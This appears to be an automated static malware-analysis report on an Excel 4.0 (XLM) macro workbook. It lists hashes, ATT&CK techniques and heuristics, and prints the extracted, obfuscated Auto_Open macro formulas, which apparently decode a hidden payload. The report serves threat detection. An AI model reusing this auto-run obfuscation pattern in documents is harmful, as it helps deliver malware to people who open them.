Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e176dc2b5d40c063…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:40 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 51a2d2c3581409163b1134a04161cee7 SHA-1: d59e476822c94c72855e3f056f3dd83a19d0166d SHA-256: e176dc2b5d40c063c8e1ab07098aa39e4260ea76cf330e4c452fbf76d5ea1c38
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open macro, which is a known technique for executing malicious code. The presence of 'risky-formula=2; RUN=0' indicates the use of dangerous API functions within the macro, likely for downloading and executing a payload. No specific family could be identified, but the technique is common for initial execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6746 bytes
SHA-256: 0e1dd155293133c039e48e49a33f781b3b74bcdbc747239d5ad85db020f44ea3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zyXOdCk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I159 
' 0018     22 LABEL : Cell Value, String Constant - BHULOBE len=0 
' 0018     22 LABEL : Cell Value, String Constant - FPeBboU len=0 
' 0018     20 LABEL : Cell Value, String Constant - FRtJt len=0 
' 0018     21 LABEL : Cell Value, String Constant - jINpLV len=0 
' 0018     20 LABEL : Cell Value, String Constant - jqJIo len=0 
' 0018     22 LABEL : Cell Value, String Constant - kOSMWvY len=0 
' 0018     27 LABEL : Cell Value, String Constant - LJuYQyQEBjJL len=0 
' 0018     26 LABEL : Cell Value, String Constant - mDaZHZjyERm len=0 
' 0018     21 LABEL : Cell Value, String Constant - nGfvGj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ofgJWMObQC len=0 
' 0018     22 LABEL : Cell Value, String Constant - ofLaIwL len=0 
' 0018     23 LABEL : Cell Value, String Constant - qOdYuVQa len=0 
' 0018     23 LABEL : Cell Value, String Constant - spbtsbho len=0 
' 0018     25 LABEL : Cell Value, String Constant - tlWINWWMPv len=0 
' 0018     25 LABEL : Cell Value, String Constant - tPJLXavtjq len=0 
' 0018     21 LABEL : Cell Value, String Constant - uGtoCf len=0 
' 0018     25 LABEL : Cell Value, String Constant - weSJlSyJRJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - xfNrbPQBQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - yFHgTEIvELYA len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZzFtk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zyXOdCk,R47,"",760.00000000000000000000
'  zyXOdCk,R48,"",96.00000000000000000000
'  zyXOdCk,R49,"",-230.00000000000000000000
'  zyXOdCk,R50,"",-946.00000000000000000000
'  zyXOdCk,R51,"",-194.00000000000000000000
'  zyXOdCk,R52,"",862.00000000000000000000
'  zyXOdCk,I66,"SET.NAME("yFHgTEIvELYA",0+VALUE("0"))",""
'  zyXOdCk,I70,"SET.NAME("tPJLXavtjq",yFHgTEIvELYA)",""
'  zyXOdCk,I74,"SET.NAME("ZzFtk",yFHgTEIvELYA)",""
'  zyXOdCk,I77,"SET.NAME("uGtoCf",COUNTA(ofLaIwL))",""
'  zyXOdCk,I80,"SET.NAME("FPeBboU",COUNTA(jqJIo))",""
'  zyXOdCk,I83,[],""
'  zyXOdCk,I85,"SET.NAME("FRtJt","")",""
'  zyXOdCk,I90,"tPJLXavtjq",""
'  zyXOdCk,I93,"SET.NAME("spbtsbho",HLOOKUP("*",ofLaIwL,tPJLXavtjq,FALSE))",""
'  zyXOdCk,I96,"tlWINWWMPv",""
'  zyXOdCk,I101,"SET.NAME("weSJlSyJRJ",yFHgTEIvELYA)",""
'  zyXOdCk,I105,[],""
'  zyXOdCk,I108,"weSJlSyJRJ",""
'  zyXOdCk,I112,"BHULOBE",""
'  zyXOdCk,I114,"qOdYuVQa",""
'  zyXOdCk,I116,"ofgJWMObQC",""
'  zyXOdCk,I119,"SET.NAME("LJuYQyQEBjJL",VALUE(HLOOKUP("*",jqJIo,ofgJWMObQC,FALSE)))",""
'  zyXOdCk,I124,"mDaZHZjyERm",""
'  zyXOdCk,I127,"FRtJt",""
'  zyXOdCk,I129,"ZzFtk",""
'  zyXOdCk,I132,NEXT(),""
'  zyXOdCk,I136,"nGfvGj",""
'  zyXOdCk,I141,[],""
'  zyXOdCk,I145,"jINpLV",""
'  zyXOdCk,I149,NEXT(),""
'  zyXOdCk,I154,RETURN(),""
'  zyXOdCk,I184,"SET.NAME("xfNrbPQBQ",I66)",""
'  zyXOdCk,I187,"ofLaIwL",""
'  zyXOdCk,I191,"SET.NAME("jqJIo",R55C11)",""
'  zyXOdCk,I196,"SET.NAME("jINpLV",204)",""
'  zyXOdCk,I201,"SET.NAME("kOSMWvY",9)",""
'  zyXOdCk,I203,xfNrbPQBQ(),""
'  zyXOdCk,I204,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.